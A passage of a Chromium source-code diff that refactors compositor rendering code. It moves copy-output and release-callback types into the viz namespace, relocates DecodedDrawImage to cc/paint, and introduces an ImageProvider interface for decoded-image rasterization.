   void EnsureScissorTestEnabled() override;
   void EnsureScissorTestDisabled() override;
   void CopyCurrentRenderPassToBitmap(
-      std::unique_ptr<CopyOutputRequest> request) override;
+      std::unique_ptr<viz::CopyOutputRequest> request) override;
   void SetEnableDCLayers(bool enable) override;
   void FinishDrawingQuadList() override;
 
@@ -235,8 +236,8 @@
   void InitializeSharedObjects();
   void CleanupSharedObjects();
 
-  typedef base::Callback<void(std::unique_ptr<CopyOutputRequest> copy_request,
-                              bool success)>
+  typedef base::Callback<
+      void(std::unique_ptr<viz::CopyOutputRequest> copy_request, bool success)>
       AsyncGetFramebufferPixelsCleanupCallback;
   void FinishedReadback(unsigned source_buffer,
                         unsigned query,
diff --git a/cc/output/gl_renderer_unittest.cc b/cc/output/gl_renderer_unittest.cc
index 8cff33f..6e10774d 100644
--- a/cc/output/gl_renderer_unittest.cc
+++ b/cc/output/gl_renderer_unittest.cc
@@ -14,8 +14,6 @@
 #include "base/test/scoped_feature_list.h"
 #include "base/threading/thread_task_runner_handle.h"
 #include "cc/base/math_util.h"
-#include "cc/output/copy_output_request.h"
-#include "cc/output/copy_output_result.h"
 #include "cc/output/overlay_strategy_single_on_top.h"
 #include "cc/output/overlay_strategy_underlay.h"
 #include "cc/output/texture_mailbox_deleter.h"
@@ -32,6 +30,8 @@
 #include "cc/test/test_shared_bitmap_manager.h"
 #include "cc/test/test_web_graphics_context_3d.h"
 #include "components/viz/common/display/renderer_settings.h"
+#include "components/viz/common/quads/copy_output_request.h"
+#include "components/viz/common/quads/copy_output_result.h"
 #include "gpu/GLES2/gl2extchromium.h"
 #include "gpu/command_buffer/client/context_support.h"
 #include "testing/gmock/include/gmock/gmock.h"
@@ -1768,7 +1768,7 @@
                      bool lost_resource,
                      BlockingTaskRunner* main_thread_task_runner) {}
 
-void IgnoreCopyResult(std::unique_ptr<CopyOutputResult> result) {}
+void IgnoreCopyResult(std::unique_ptr<viz::CopyOutputResult> result) {}
 
 TEST_F(GLRendererTest, DontOverlayWithCopyRequests) {
   FakeOutputSurfaceClient output_surface_client;
@@ -1804,7 +1804,7 @@
                     gfx::Transform(), FilterOperations());
   root_pass->has_transparent_background = false;
   root_pass->copy_requests.push_back(
-      CopyOutputRequest::CreateRequest(base::BindOnce(&IgnoreCopyResult)));
+      viz::CopyOutputRequest::CreateRequest(base::BindOnce(&IgnoreCopyResult)));
 
   viz::TextureMailbox mailbox =
       viz::TextureMailbox(gpu::Mailbox::Generate(), gpu::SyncToken(),
diff --git a/cc/output/software_renderer.cc b/cc/output/software_renderer.cc
index 7006ddb..b5c3e0fb 100644
--- a/cc/output/software_renderer.cc
+++ b/cc/output/software_renderer.cc
@@ -8,7 +8,6 @@
 #include "base/trace_event/trace_event.h"
 #include "cc/base/math_util.h"
 #include "cc/base/render_surface_filters.h"
-#include "cc/output/copy_output_request.h"
 #include "cc/output/output_surface.h"
 #include "cc/output/output_surface_frame.h"
 #include "cc/output/software_output_device.h"
@@ -20,6 +19,7 @@
 #include "cc/quads/tile_draw_quad.h"
 #include "cc/resources/scoped_resource.h"
 #include "components/viz/common/display/renderer_settings.h"
+#include "components/viz/common/quads/copy_output_request.h"
 #include "skia/ext/opacity_filter_canvas.h"
 #include "third_party/skia/include/core/SkCanvas.h"
 #include "third_party/skia/include/core/SkColor.h"
@@ -346,13 +346,6 @@
 
   RasterSource::PlaybackSettings playback_settings;
   playback_settings.playback_to_shared_canvas = true;
-  // Indicates whether content rasterization should happen through an
-  // ImageHijackCanvas, which causes image decodes to be managed by an
-  // ImageDecodeCache. PictureDrawQuads are used for resourceless software
-  // draws, while a GPU ImageDecodeCache may be in use by the compositor
-  // providing the RasterSource. So we disable the image hijack canvas to avoid
-  // trying to use the GPU ImageDecodeCache while doing a software draw.
-  playback_settings.use_image_hijack_canvas = false;
   if (needs_transparency || disable_image_filtering) {
     // TODO(aelias): This isn't correct in all cases. We should detect these
     // cases and fall back to a persistent bitmap backing
@@ -571,7 +564,7 @@
 }
 
 void SoftwareRenderer::CopyCurrentRenderPassToBitmap(
-    std::unique_ptr<CopyOutputRequest> request) {
+    std::unique_ptr<viz::CopyOutputRequest> request) {
   gfx::Rect copy_rect = current_frame()->current_render_pass->output_rect;
   if (request->has_area())
     copy_rect.Intersect(request->area());
diff --git a/cc/output/software_renderer.h b/cc/output/software_renderer.h
index 12616e42..addeb4fe 100644
--- a/cc/output/software_renderer.h
+++ b/cc/output/software_renderer.h
@@ -50,7 +50,7 @@
   void EnsureScissorTestEnabled() override;
   void EnsureScissorTestDisabled() override;
   void CopyCurrentRenderPassToBitmap(
-      std::unique_ptr<CopyOutputRequest> request) override;
+      std::unique_ptr<viz::CopyOutputRequest> request) override;
   void SetEnableDCLayers(bool enable) override;
   void DidChangeVisibility() override;
 
diff --git a/cc/output/software_renderer_unittest.cc b/cc/output/software_renderer_unittest.cc
index d9d674e0..51038b43 100644
--- a/cc/output/software_renderer_unittest.cc
+++ b/cc/output/software_renderer_unittest.cc
@@ -10,8 +10,6 @@
 #include "base/memory/ptr_util.h"
 #include "base/run_loop.h"
 #include "cc/output/compositor_frame_metadata.h"
-#include "cc/output/copy_output_request.h"
-#include "cc/output/copy_output_result.h"
 #include "cc/output/software_output_device.h"
 #include "cc/quads/render_pass.h"
 #include "cc/quads/render_pass_draw_quad.h"
@@ -24,6 +22,8 @@
 #include "cc/test/geometry_test_utils.h"
 #include "cc/test/render_pass_test_utils.h"
 #include "cc/test/test_shared_bitmap_manager.h"
+#include "components/viz/common/quads/copy_output_request.h"
+#include "components/viz/common/quads/copy_output_result.h"
 #include "testing/gmock/include/gmock/gmock.h"
 #include "testing/gtest/include/gtest/gtest.h"
 #include "third_party/skia/include/core/SkCanvas.h"
@@ -63,7 +63,7 @@
     base::RunLoop loop;
 
     list->back()->copy_requests.push_back(
-        CopyOutputRequest::CreateBitmapRequest(base::BindOnce(
+        viz::CopyOutputRequest::CreateBitmapRequest(base::BindOnce(
             &SoftwareRendererTest::SaveBitmapResult,
             base::Unretained(&bitmap_result), loop.QuitClosure())));
 
@@ -74,7 +74,7 @@
 
   static void SaveBitmapResult(std::unique_ptr<SkBitmap>* bitmap_result,
                                const base::Closure& quit_closure,
-                               std::unique_ptr<CopyOutputResult> result) {
+                               std::unique_ptr<viz::CopyOutputResult> result) {
     DCHECK(result->HasBitmap());
     *bitmap_result = result->TakeBitmap();
     quit_closure.Run();
diff --git a/cc/output/texture_mailbox_deleter.cc b/cc/output/texture_mailbox_deleter.cc
index b72642e..3aa308c 100644
--- a/cc/output/texture_mailbox_deleter.cc
+++ b/cc/output/texture_mailbox_deleter.cc
@@ -10,8 +10,8 @@
 #include "base/location.h"
 #include "base/memory/weak_ptr.h"
 #include "base/single_thread_task_runner.h"
-#include "cc/resources/single_release_callback.h"
 #include "components/viz/common/gpu/context_provider.h"
+#include "components/viz/common/quads/single_release_callback.h"
 #include "gpu/command_buffer/client/gles2_interface.h"
 #include "gpu/command_buffer/common/sync_token.h"
 
@@ -31,7 +31,7 @@
 
 static void PostTaskFromMainToImplThread(
     scoped_refptr<base::SingleThreadTaskRunner> impl_task_runner,
-    ReleaseCallback run_impl_callback,
+    viz::ReleaseCallback run_impl_callback,
     const gpu::SyncToken& sync_token,
     bool is_lost) {
   // This posts the task to RunDeleteTextureOnImplThread().
@@ -48,40 +48,40 @@
     impl_callbacks_.at(i)->Run(gpu::SyncToken(), true);
 }
 
-std::unique_ptr<SingleReleaseCallback>
+std::unique_ptr<viz::SingleReleaseCallback>
 TextureMailboxDeleter::GetReleaseCallback(
     scoped_refptr<viz::ContextProvider> context_provider,
     unsigned texture_id) {
   // This callback owns the |context_provider|. It must be destroyed on the impl
   // thread. Upon destruction of this class, the callback must immediately be
   // destroyed.
-  std::unique_ptr<SingleReleaseCallback> impl_callback =
-      SingleReleaseCallback::Create(base::Bind(
+  std::unique_ptr<viz::SingleReleaseCallback> impl_callback =
+      viz::SingleReleaseCallback::Create(base::Bind(
           &DeleteTextureOnImplThread, std::move(context_provider), texture_id));
 
   impl_callbacks_.push_back(std::move(impl_callback));
 
   // The raw pointer to the impl-side callback is valid as long as this
   // class is alive. So we guard it with a WeakPtr.
-  ReleaseCallback run_impl_callback(
+  viz::ReleaseCallback run_impl_callback(
       base::Bind(&TextureMailboxDeleter::RunDeleteTextureOnImplThread,
                  weak_ptr_factory_.GetWeakPtr(), impl_callbacks_.back().get()));
 
   // Provide a callback for the main thread that posts back to the impl
   // thread.
-  std::unique_ptr<SingleReleaseCallback> main_callback;
+  std::unique_ptr<viz::SingleReleaseCallback> main_callback;
   if (impl_task_runner_) {
-    main_callback = SingleReleaseCallback::Create(base::Bind(
+    main_callback = viz::SingleReleaseCallback::Create(base::Bind(
         &PostTaskFromMainToImplThread, impl_task_runner_, run_impl_callback));
   } else {
-    main_callback = SingleReleaseCallback::Create(run_impl_callback);
+    main_callback = viz::SingleReleaseCallback::Create(run_impl_callback);
   }
 
   return main_callback;
 }
 
 void TextureMailboxDeleter::RunDeleteTextureOnImplThread(
-    SingleReleaseCallback* impl_callback,
+    viz::SingleReleaseCallback* impl_callback,
     const gpu::SyncToken& sync_token,
     bool is_lost) {
   for (size_t i = 0; i < impl_callbacks_.size(); ++i) {
diff --git a/cc/output/texture_mailbox_deleter.h b/cc/output/texture_mailbox_deleter.h
index 326c494..8d6a890 100644
--- a/cc/output/texture_mailbox_deleter.h
+++ b/cc/output/texture_mailbox_deleter.h
@@ -21,10 +21,10 @@
 
 namespace viz {
 class ContextProvider;
+class SingleReleaseCallback;
 }
 
 namespace cc {
-class SingleReleaseCallback;
 
 class CC_EXPORT TextureMailboxDeleter {
  public:
@@ -34,26 +34,26 @@
       scoped_refptr<base::SingleThreadTaskRunner> task_runner);
   ~TextureMailboxDeleter();
 
-  // Returns a Callback that can be used as the ReleaseCallback for a
-  // TextureMailbox attached to the |texture_id|. The ReleaseCallback can
+  // Returns a Callback that can be used as the viz::ReleaseCallback for a
+  // TextureMailbox attached to the |texture_id|. The viz::ReleaseCallback can
   // be passed to other threads and will destroy the texture, once it is
   // run, on the impl thread. If the TextureMailboxDeleter is destroyed
-  // due to the compositor shutting down, then the ReleaseCallback will
+  // due to the compositor shutting down, then the viz::ReleaseCallback will
   // become a no-op and the texture will be deleted immediately on the
   // impl thread, along with dropping the reference to the viz::ContextProvider.
-  std::unique_ptr<SingleReleaseCallback> GetReleaseCallback(
+  std::unique_ptr<viz::SingleReleaseCallback> GetReleaseCallback(
       scoped_refptr<viz::ContextProvider> context_provider,
       unsigned texture_id);
 
  private:
   // Runs the |impl_callback| to delete the texture and removes the callback
   // from the |impl_callbacks_| list.
-  void RunDeleteTextureOnImplThread(SingleReleaseCallback* impl_callback,
+  void RunDeleteTextureOnImplThread(viz::SingleReleaseCallback* impl_callback,
                                     const gpu::SyncToken& sync_token,
                                     bool is_lost);
 
   scoped_refptr<base::SingleThreadTaskRunner> impl_task_runner_;
-  std::vector<std::unique_ptr<SingleReleaseCallback>> impl_callbacks_;
+  std::vector<std::unique_ptr<viz::SingleReleaseCallback>> impl_callbacks_;
   base::WeakPtrFactory<TextureMailboxDeleter> weak_ptr_factory_;
 };
 
diff --git a/cc/output/texture_mailbox_deleter_unittest.cc b/cc/output/texture_mailbox_deleter_unittest.cc
index 37c300d0..d9850edb 100644
--- a/cc/output/texture_mailbox_deleter_unittest.cc
+++ b/cc/output/texture_mailbox_deleter_unittest.cc
@@ -6,9 +6,9 @@
 
 #include "base/single_thread_task_runner.h"
 #include "base/threading/thread_task_runner_handle.h"
-#include "cc/resources/single_release_callback.h"
 #include "cc/test/test_context_provider.h"
 #include "cc/test/test_web_graphics_context_3d.h"
+#include "components/viz/common/quads/single_release_callback.h"
 #include "testing/gtest/include/gtest/gtest.h"
 
 namespace cc {
@@ -28,7 +28,7 @@
   EXPECT_TRUE(context_provider->HasOneRef());
   EXPECT_EQ(1u, context_provider->TestContext3d()->NumTextures());
 
-  std::unique_ptr<SingleReleaseCallback> cb =
+  std::unique_ptr<viz::SingleReleaseCallback> cb =
       deleter->GetReleaseCallback(context_provider, texture_id);
   EXPECT_FALSE(context_provider->HasOneRef());
   EXPECT_EQ(1u, context_provider->TestContext3d()->NumTextures());
@@ -58,7 +58,7 @@
   EXPECT_TRUE(context_provider->HasOneRef());
   EXPECT_EQ(1u, context_provider->TestContext3d()->NumTextures());
 
-  std::unique_ptr<SingleReleaseCallback> cb =
+  std::unique_ptr<viz::SingleReleaseCallback> cb =
       deleter->GetReleaseCallback(context_provider, texture_id);
   EXPECT_FALSE(context_provider->HasOneRef());
   EXPECT_EQ(1u, context_provider->TestContext3d()->NumTextures());
diff --git a/cc/output/vulkan_renderer.cc b/cc/output/vulkan_renderer.cc
index 79ccf3b..78afcb5 100644
--- a/cc/output/vulkan_renderer.cc
+++ b/cc/output/vulkan_renderer.cc
@@ -80,7 +80,7 @@
 
 void VulkanRenderer::CopyCurrentRenderPassToBitmap(
     DrawingFrame* frame,
-    std::unique_ptr<CopyOutputRequest> request) {
+    std::unique_ptr<viz::CopyOutputRequest> request) {
   NOTIMPLEMENTED();
 }
 
diff --git a/cc/output/vulkan_renderer.h b/cc/output/vulkan_renderer.h
index 32bed8a..66b7831 100644
--- a/cc/output/vulkan_renderer.h
+++ b/cc/output/vulkan_renderer.h
@@ -48,7 +48,7 @@
   void EnsureScissorTestDisabled() override;
   void CopyCurrentRenderPassToBitmap(
       DrawingFrame* frame,
-      std::unique_ptr<CopyOutputRequest> request) override;
+      std::unique_ptr<viz::CopyOutputRequest> request) override;
   bool CanPartialSwap() override;
 
  private:
diff --git a/cc/paint/BUILD.gn b/cc/paint/BUILD.gn
index fa07494..2207bca7 100644
--- a/cc/paint/BUILD.gn
+++ b/cc/paint/BUILD.gn
@@ -8,6 +8,8 @@
 cc_component("paint") {
   output_name = "cc_paint"
   sources = [
+    "decoded_draw_image.cc",
+    "decoded_draw_image.h",
     "discardable_image_map.cc",
     "discardable_image_map.h",
     "display_item_list.cc",
@@ -15,6 +17,7 @@
     "draw_image.cc",
     "draw_image.h",
     "image_id.h",
+    "image_provider.h",
     "paint_canvas.cc",
     "paint_canvas.h",
     "paint_export.h",
diff --git a/cc/tiles/decoded_draw_image.cc b/cc/paint/decoded_draw_image.cc
similarity index 96%
rename from cc/tiles/decoded_draw_image.cc
rename to cc/paint/decoded_draw_image.cc
index f68c6c0c..c15afc8 100644
--- a/cc/tiles/decoded_draw_image.cc
+++ b/cc/paint/decoded_draw_image.cc
@@ -2,7 +2,7 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#include "cc/tiles/decoded_draw_image.h"
+#include "cc/paint/decoded_draw_image.h"
 
 namespace cc {
 
diff --git a/cc/tiles/decoded_draw_image.h b/cc/paint/decoded_draw_image.h
similarity index 88%
rename from cc/tiles/decoded_draw_image.h
rename to cc/paint/decoded_draw_image.h
index 24e4ac4..fb374bd9 100644
--- a/cc/tiles/decoded_draw_image.h
+++ b/cc/paint/decoded_draw_image.h
@@ -2,13 +2,13 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#ifndef CC_TILES_DECODED_DRAW_IMAGE_H_
-#define CC_TILES_DECODED_DRAW_IMAGE_H_
+#ifndef CC_PAINT_DECODED_DRAW_IMAGE_H_
+#define CC_PAINT_DECODED_DRAW_IMAGE_H_
 
 #include <cfloat>
 #include <cmath>
 
-#include "cc/cc_export.h"
+#include "cc/paint/paint_export.h"
 #include "third_party/skia/include/core/SkFilterQuality.h"
 #include "third_party/skia/include/core/SkImage.h"
 #include "third_party/skia/include/core/SkRefCnt.h"
@@ -16,7 +16,7 @@
 
 namespace cc {
 
-class CC_EXPORT DecodedDrawImage {
+class CC_PAINT_EXPORT DecodedDrawImage {
  public:
   DecodedDrawImage(sk_sp<const SkImage> image,
                    const SkSize& src_rect_offset,
@@ -50,4 +50,4 @@
 
 }  // namespace cc
 
-#endif  // CC_TILES_DECODED_DRAW_IMAGE_H_
+#endif  // CC_PAINT_DECODED_DRAW_IMAGE_H_
diff --git a/cc/paint/discardable_image_map.cc b/cc/paint/discardable_image_map.cc
index 6e899c07..8d25b95 100644
--- a/cc/paint/discardable_image_map.cc
+++ b/cc/paint/discardable_image_map.cc
@@ -81,80 +81,40 @@
     if (!buffer->HasDiscardableImages())
       return;
 
-    SkMatrix original = canvas_.getTotalMatrix();
+    PlaybackParams params(nullptr, canvas_.getTotalMatrix());
     canvas_.save();
     // TODO(khushalsagar): Optimize out save/restore blocks if there are no
     // images in the draw ops between them.
     for (auto* op : PaintOpBuffer::Iterator(buffer)) {
       if (op->IsDrawOp()) {
-        switch (op->GetType()) {
-          case PaintOpType::DrawArc: {
-            auto* arc_op = static_cast<DrawArcOp*>(op);
-            AddImageFromFlags(arc_op->oval, arc_op->flags);
-          } break;
-          case PaintOpType::DrawCircle: {
-            auto* circle_op = static_cast<DrawCircleOp*>(op);
-            SkRect rect =
-                SkRect::MakeXYWH(circle_op->cx - circle_op->radius,
-                                 circle_op->cy - circle_op->radius,
-                                 2 * circle_op->radius, 2 * circle_op->radius);
-            AddImageFromFlags(rect, circle_op->flags);
-          } break;
-          case PaintOpType::DrawImage: {
-            auto* image_op = static_cast<DrawImageOp*>(op);
-            const SkImage* sk_image = image_op->image.sk_image().get();
-            AddImage(image_op->image,
-                     SkRect::MakeIWH(sk_image->width(), sk_image->height()),
-                     SkRect::MakeXYWH(image_op->left, image_op->top,
-                                      sk_image->width(), sk_image->height()),
-                     nullptr, image_op->flags);
-          } break;
-          case PaintOpType::DrawImageRect: {
-            auto* image_rect_op = static_cast<DrawImageRectOp*>(op);
-            SkMatrix matrix;
-            matrix.setRectToRect(image_rect_op->src, image_rect_op->dst,
-                                 SkMatrix::kFill_ScaleToFit);
-            AddImage(image_rect_op->image, image_rect_op->src,
-                     image_rect_op->dst, &matrix, image_rect_op->flags);
-          } break;
-          case PaintOpType::DrawIRect: {
-            auto* rect_op = static_cast<DrawIRectOp*>(op);
-            AddImageFromFlags(SkRect::Make(rect_op->rect), rect_op->flags);
-          } break;
-          case PaintOpType::DrawOval: {
-            auto* oval_op = static_cast<DrawOvalOp*>(op);
-            AddImageFromFlags(oval_op->oval, oval_op->flags);
-          } break;
-          case PaintOpType::DrawPath: {
-            auto* path_op = static_cast<DrawPathOp*>(op);
-            AddImageFromFlags(path_op->path.getBounds(), path_op->flags);
-          } break;
-          case PaintOpType::DrawRecord: {
-            auto* record_op = static_cast<DrawRecordOp*>(op);
-            GatherDiscardableImages(record_op->record.get());
-          } break;
-          case PaintOpType::DrawRect: {
-            auto* rect_op = static_cast<DrawRectOp*>(op);
-            AddImageFromFlags(rect_op->rect, rect_op->flags);
-          } break;
-          case PaintOpType::DrawRRect: {
-            auto* rect_op = static_cast<DrawRRectOp*>(op);
-            AddImageFromFlags(rect_op->rrect.rect(), rect_op->flags);
-          } break;
-          // TODO(khushalsagar): Check if we should be querying images from any
-          // of the following ops.
-          case PaintOpType::DrawPosText:
-          case PaintOpType::DrawLine:
-          case PaintOpType::DrawDRRect:
-          case PaintOpType::DrawText:
-          case PaintOpType::DrawTextBlob:
-          case PaintOpType::DrawColor:
-            break;
-          default:
-            NOTREACHED();
+        SkRect op_rect;
+        if (op->IsPaintOpWithFlags() && PaintOp::GetBounds(op, &op_rect)) {
+          AddImageFromFlags(op_rect,
+                            static_cast<const PaintOpWithFlags*>(op)->flags);
+        }
+
+        PaintOpType op_type = static_cast<PaintOpType>(op->type);
+        if (op_type == PaintOpType::DrawImage) {
+          auto* image_op = static_cast<DrawImageOp*>(op);
+          auto* sk_image = image_op->image.sk_image().get();
+          AddImage(image_op->image,
+                   SkRect::MakeIWH(sk_image->width(), sk_image->height()),
+                   SkRect::MakeXYWH(image_op->left, image_op->top,
+                                    sk_image->width(), sk_image->height()),
+                   nullptr, image_op->flags);
+        } else if (op_type == PaintOpType::DrawImageRect) {
+          auto* image_rect_op = static_cast<DrawImageRectOp*>(op);
+          SkMatrix matrix;
+          matrix.setRectToRect(image_rect_op->src, image_rect_op->dst,
+                               SkMatrix::kFill_ScaleToFit);
+          AddImage(image_rect_op->image, image_rect_op->src, image_rect_op->dst,
+                   &matrix, image_rect_op->flags);
+        } else if (op_type == PaintOpType::DrawRecord) {
+          GatherDiscardableImages(
+              static_cast<const DrawRecordOp*>(op)->record.get());
         }
       } else {
-        op->Raster(&canvas_, original);
+        op->Raster(&canvas_, params);
       }
     }
     canvas_.restore();
@@ -169,28 +129,15 @@
 
  private:
   void AddImageFromFlags(const SkRect& rect, const PaintFlags& flags) {
-    SkShader* shader = flags.getSkShader();
-    if (shader) {
-      SkMatrix matrix;
-      SkShader::TileMode xy[2];
-      SkImage* image = shader->isAImage(&matrix, xy);
-      if (image) {
-        // We currently use the wrong id for images that come from shaders. We
-        // don't know what the stable id is, but since the completion and
-        // animation states are both unknown, this value doesn't matter as it
-        // won't be used in checker imaging anyway. Keep this value the same to
-        // avoid id churn.
-        // TODO(vmpstr): Remove this when we can add paint images into shaders
-        // directly.
-        PaintImage paint_image(PaintImage::kUnknownStableId, sk_ref_sp(image),
-                               PaintImage::AnimationType::UNKNOWN,
-                               PaintImage::CompletionState::UNKNOWN);
-        // TODO(ericrk): Handle cases where we only need a sub-rect from the
-        // image. crbug.com/671821
-        AddImage(std::move(paint_image), SkRect::MakeFromIRect(image->bounds()),
-                 rect, &matrix, flags);
-      }
-    }
+    if (!flags.HasShader() ||
+        flags.getShader()->shader_type() != PaintShader::Type::kImage)
+      return;
+
+    const PaintImage& paint_image = flags.getShader()->paint_image();
+    SkMatrix local_matrix = flags.getShader()->GetLocalMatrix();
+    AddImage(paint_image,
+             SkRect::MakeFromIRect(paint_image.sk_image()->bounds()), rect,
+             &local_matrix, flags);
   }
 
   void AddImage(PaintImage paint_image,
diff --git a/cc/paint/display_item_list.cc b/cc/paint/display_item_list.cc
index 1ab2261..260e17a 100644
--- a/cc/paint/display_item_list.cc
+++ b/cc/paint/display_item_list.cc
@@ -47,6 +47,7 @@
 DisplayItemList::~DisplayItemList() = default;
 
 void DisplayItemList::Raster(SkCanvas* canvas,
+                             ImageProvider* image_provider,
                              SkPicture::AbortCallback* callback) const {
   DCHECK(usage_hint_ == kTopLevelDisplayItemList);
   gfx::Rect canvas_playback_rect;
@@ -54,7 +55,7 @@
     return;
 
   std::vector<size_t> offsets = rtree_.Search(canvas_playback_rect);
-  paint_op_buffer_.Playback(canvas, callback, &offsets);
+  paint_op_buffer_.Playback(canvas, image_provider, callback, &offsets);
 }
 
 void DisplayItemList::GrowCurrentBeginItemVisualRect(
@@ -120,13 +121,14 @@
   if (include_items) {
     state->BeginArray("items");
 
+    PlaybackParams params(nullptr, SkMatrix::I());
     for (const PaintOp* op : PaintOpBuffer::Iterator(&paint_op_buffer_)) {
       state->BeginDictionary();
 
       SkPictureRecorder recorder;
       SkCanvas* canvas =
           recorder.beginRecording(gfx::RectToSkRect(rtree_.GetBounds()));
-      op->Raster(canvas, SkMatrix::I());
+      op->Raster(canvas, params);
       sk_sp<SkPicture> picture = recorder.finishRecordingAsPicture();
 
       std::string b64_picture;
diff --git a/cc/paint/display_item_list.h b/cc/paint/display_item_list.h
index 1151bcf..68de240 100644
--- a/cc/paint/display_item_list.h
+++ b/cc/paint/display_item_list.h
@@ -52,6 +52,7 @@
   explicit DisplayItemList(UsageHint = kTopLevelDisplayItemList);
 
   void Raster(SkCanvas* canvas,
+              ImageProvider* image_provider = nullptr,
               SkPicture::AbortCallback* callback = nullptr) const;
 
   // TODO(vmpstr): This is only used to keep track of debugging info, so we can
diff --git a/cc/paint/image_id.h b/cc/paint/image_id.h
index 015d6616..8c4154a 100644
--- a/cc/paint/image_id.h
+++ b/cc/paint/image_id.h
@@ -15,11 +15,6 @@
 
 using PaintImageIdFlatSet = base::flat_set<PaintImage::Id>;
 
-// TODO(khushalsagar): These are only used by the hijack canvas since it uses
-// an SkCanvas to replace images. Remove once that moves to PaintOpBuffer.
-using SkImageId = uint32_t;
-using SkImageIdFlatSet = base::flat_set<SkImageId>;
-
 }  // namespace cc
 
 #endif  // CC_PAINT_IMAGE_ID_H_
diff --git a/cc/paint/image_provider.h b/cc/paint/image_provider.h
new file mode 100644
index 0000000..98e2ca84
--- /dev/null
+++ b/cc/paint/image_provider.h
@@ -0,0 +1,35 @@
+// Copyright 2017 The Chromium Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#ifndef CC_PAINT_IMAGE_PROVIDER_H_
+#define CC_PAINT_IMAGE_PROVIDER_H_
+
+#include "cc/paint/paint_export.h"
+
+namespace cc {
+class DecodedDrawImage;
+class PaintImage;
+
+// Used to replace lazy generated PaintImages with decoded images to use for
+// rasterization.
+class CC_PAINT_EXPORT ImageProvider {
+ public:
+  class DecodedImageHolder {
+   public:
+    virtual ~DecodedImageHolder() {}
+    virtual const DecodedDrawImage& DecodedImage() = 0;
+  };
+
+  virtual ~ImageProvider() {}
+
+  virtual std::unique_ptr<DecodedImageHolder> GetDecodedImage(
+      const PaintImage& paint_image,
+      const SkRect& src_rect,
+      SkFilterQuality filter_quality,
+      const SkMatrix& matrix) = 0;
+};
+
+}  // namespace cc
+
+#endif  // CC_PAINT_IMAGE_PROVIDER_H_
diff --git a/cc/paint/paint_flags.h b/cc/paint/paint_flags.h
index 3dfed47..49b66a96 100644
--- a/cc/paint/paint_flags.h
+++ b/cc/paint/paint_flags.h
@@ -172,6 +172,8 @@
     return shader_ ? shader_->GetSkShader().get() : nullptr;
   }
 
+  ALWAYS_INLINE const PaintShader* getShader() const { return shader_.get(); }
+
   // Returns true if the shader has been set on the flags.
   ALWAYS_INLINE bool HasShader() const { return !!shader_; }
 
diff --git a/cc/paint/paint_image.h b/cc/paint/paint_image.h
index d3ada849..b2b6cf9 100644
--- a/cc/paint/paint_image.h
+++ b/cc/paint/paint_image.h
@@ -23,7 +23,8 @@
 
   // This is the id used in places where we are currently not plumbing the
   // correct image id from blink.
-  // TODO(khushalsagar): Eliminate these cases. See crbug.com/722559.
+  // TODO(khushalsagar): The only user of these seems to be the ImageBuffer in
+  // blink. Same goes for the animation and completeion states.
   static const Id kUnknownStableId = -2;
 
   // TODO(vmpstr): Work towards removing "UNKNOWN" value.
@@ -70,10 +71,10 @@
   PaintImage CloneWithSkImage(sk_sp<SkImage> new_image) const;
 
  private:
-  Id id_ = kUnknownStableId;
+  Id id_;
   sk_sp<SkImage> sk_image_;
-  AnimationType animation_type_ = AnimationType::UNKNOWN;
-  CompletionState completion_state_ = CompletionState::UNKNOWN;
+  AnimationType animation_type_;
+  CompletionState completion_state_;
   // The number of frames known to exist in this image (eg number of GIF frames
   // loaded). 0 indicates either unknown or only a single frame, both of which
   // should be treated similarly.
diff --git a/cc/paint/paint_op_buffer.cc b/cc/paint/paint_op_buffer.cc
index 566cb63..e83cc3e 100644
--- a/cc/paint/paint_op_buffer.cc
+++ b/cc/paint/paint_op_buffer.cc
@@ -5,7 +5,10 @@
 #include "cc/paint/paint_op_buffer.h"
 
 #include "base/containers/stack_container.h"
+#include "base/memory/ptr_util.h"
+#include "cc/paint/decoded_draw_image.h"
 #include "cc/paint/display_item_list.h"
+#include "cc/paint/image_provider.h"
 #include "cc/paint/paint_op_reader.h"
 #include "cc/paint/paint_op_writer.h"
 #include "cc/paint/paint_record.h"
@@ -13,6 +16,147 @@
 #include "third_party/skia/include/core/SkCanvas.h"
 
 namespace cc {
+namespace {
+
+bool IsImageShader(const PaintFlags& flags) {
+  return flags.HasShader() &&
+         flags.getShader()->shader_type() == PaintShader::Type::kImage;
+}
+
+bool IsImageOp(const PaintOp* op) {
+  PaintOpType type = static_cast<PaintOpType>(op->type);
+
+  if (!op->IsDrawOp())
+    return false;
+  else if (type == PaintOpType::DrawImage)
+    return true;
+  else if (type == PaintOpType::DrawImageRect)
+    return true;
+  else if (op->IsPaintOpWithFlags())
+    return IsImageShader(static_cast<const PaintOpWithFlags*>(op)->flags);
+
+  return false;
+}
+
+bool QuickRejectDraw(const PaintOp* op, const SkCanvas* canvas) {
+  DCHECK(op->IsDrawOp());
+
+  SkRect rect;
+  if (!PaintOp::GetBounds(op, &rect))
+    return false;
+
+  if (op->IsPaintOpWithFlags()) {
+    SkPaint paint = static_cast<const PaintOpWithFlags*>(op)->flags.ToSkPaint();
+    if (!paint.canComputeFastBounds())
+      return false;
+    paint.computeFastBounds(rect, &rect);
+  }
+
+  return canvas->quickReject(rect);
+}
+
+// Encapsulates a ImageProvider::DecodedImageHolder and a SkPaint. Use of
+// this class ensures that the DecodedImageHolder outlives the dependent
+// SkPaint.
+class ScopedImageFlags {
+ public:
+  ScopedImageFlags(ImageProvider* image_provider,
+                   const PaintFlags& flags,
+                   const SkMatrix& ctm)
+      : decoded_flags_(flags) {
+    DCHECK(IsImageShader(flags));
+
+    // Remove the original shader from the flags. In case we fail to decode the
+    // image, the shader should be removed.
+    decoded_flags_.setShader(nullptr);
+
+    const PaintImage& paint_image = flags.getShader()->paint_image();
+    SkMatrix matrix = flags.getShader()->GetLocalMatrix();
+
+    SkMatrix total_image_matrix = matrix;
+    total_image_matrix.preConcat(ctm);
+    SkRect src_rect = SkRect::MakeIWH(paint_image.sk_image()->width(),
+                                      paint_image.sk_image()->height());
+    holder_ = image_provider->GetDecodedImage(
+        paint_image, src_rect, flags.getFilterQuality(), total_image_matrix);
+
+    if (!holder_)
+      return;
+    const auto& decoded_image = holder_->DecodedImage();
+    DCHECK(decoded_image.image());
+
+    bool need_scale = !decoded_image.is_scale_adjustment_identity();
+    if (need_scale) {
+      matrix.preScale(1.f / decoded_image.scale_adjustment().width(),
+                      1.f / decoded_image.scale_adjustment().height());
+    }
+
